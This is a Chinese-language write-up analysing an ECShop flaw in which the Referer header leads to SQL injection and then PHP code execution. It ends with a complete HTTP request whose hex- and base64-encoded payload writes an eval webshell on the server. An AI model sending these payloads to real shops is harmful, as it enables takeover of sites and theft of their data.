0x00 SQL注入漏洞
參考博客:鏈接
漏洞分析:通過REFERER獲取的數據未經過過濾,在渲染模板時惡意代碼可以插入模板代碼。
此處:$back_act來源REFERER。之後通過assign函數存入類屬性var
之後通過display函數渲染模板:user——passport.dwt
傳入的referer數據存放的地點。
查看display函數:
通過fetch函數解析模板內的變量,最後輸出爲$out,通過添加代碼將$out數據輸出查看一下具體內容:
這裏我們可以仔細研究一下:
正常情況獲取的referer數據被填充如下情況:
最後被渲染輸出:
我們測試輸入任意數據,之後渲染輸出情況:
之後通過debug跟進fetch函數,可以看到會生成user_passport.dwt.php文件,其中back_act的內容取自之前assign函數賦值的內容,未進行任何過濾。
研究完fetch函數,之後進一步跟進代碼,發現程序會通過固定的一個字符串,來對輸出的$out進行分隔,其中_echash=”554fcae493e564ee0dc75bdf2ebf94ca”
之後遍歷循環輸出的數組,當$key爲奇數時,表示此時有一個特殊處理的數據,這個數據要放到insert_mod函數處理:
通過前面傳入的變量進行拼接,最後調用函數:debug跟蹤一下參數
拼接創建函數,通過|分隔的數據當作參數。
檢查insert_ads函數,發現拼接數據存在問題,爲進行任何過濾放入SQL語句查詢,可造成limit注入:
關於limit注入,mysql天書中有詳細的介紹:可以使用數據整理的方式進行注入
https://blog.csdn.net/CSDNPM250/article/details/103069469
已經完全瞭解漏洞形成原理,現在就是要在referer構造可注入數據:
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:“num”;s:72:“0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -”;s:2:“id”;i:1;}
紅色部分用於做分隔數據,藍色部分ads用於拼接構成函數進行調用,|之後的數據用作參數,需要進行反序列化,所以輸入序列化數據。
最後輸出報錯結果:
漏洞利用成功。
0x01 代碼執行:
關於代碼執行漏洞:
漏洞利用原理:
利用fetch函數中的調用_eval函數,執行惡意代碼。漏洞利用的難點,如何觸發fetch調用_eval函數—利用上述的SQL注入漏洞。
這個函數中id和num兩個數據都可以由我們控制,那麼我們就可以通過控制這兩個參數逃逸order by和limit限制,將兩個變量中間的數據編程SQL的註釋。Payload如下:
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:“num”;s:47:"/ union select 1,0x272f2a,3,4,5,6,7,8,9,10-- -";s:2:“id”;s:3:"’/";}
整個SQL語句執行結果如下:
此時如果position_style存在數據就會觸發fetch函數,並且能夠觸發_eval函數。
在此處我們跟進fetch_str函數,裏面存在一個正則表達式和回調函數處理:
其中preg_replace加上/e表示使用回調函數,不過高版本的php已經廢棄了。這裏在使用正則表達式替換之後就是下面整個亞子(爲了方便理解,將代碼copy出來搞一下)
正則表達式會匹配到{}中間的內容,然後將其他部分替換,最後是調用這個類當中的select函數。
在select函數中調用get_val函數:,最後在get_val中調用make_var函數:
最後在make_val函數中可以看到參數被拼接在此處可以進行變量逃逸:
輸出這個$p,如下:
之後所有結果返回到select函數中,再輸出查看:
最後再輸出一次跟蹤情況:
最後調用eval函數執行惡意代碼:
補上完整的payload。
POST /user.php HTTP/1.1
Host: www.ecshop.com
Content-Length: 65
Cache-Control: max-age=0
Origin: http://www.ecshop.com
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:280:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24607064275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -";s:2:"id";s:3:"'/*";}
Accept-Language: zh-CN,zh;q=0.9
Cookie: ECS_ID=578286b2599356a5d084ea6a59b6a777b87ed5f8; ECSCP_ID=4ea8cdefae4c9eccd9727d8279adfb638d7703ab; ECS[visit_times]=7; XDEBUG_SESSION=19813
Connection: close
username=admin&password=admin&act=login&back_act=user.php&submit=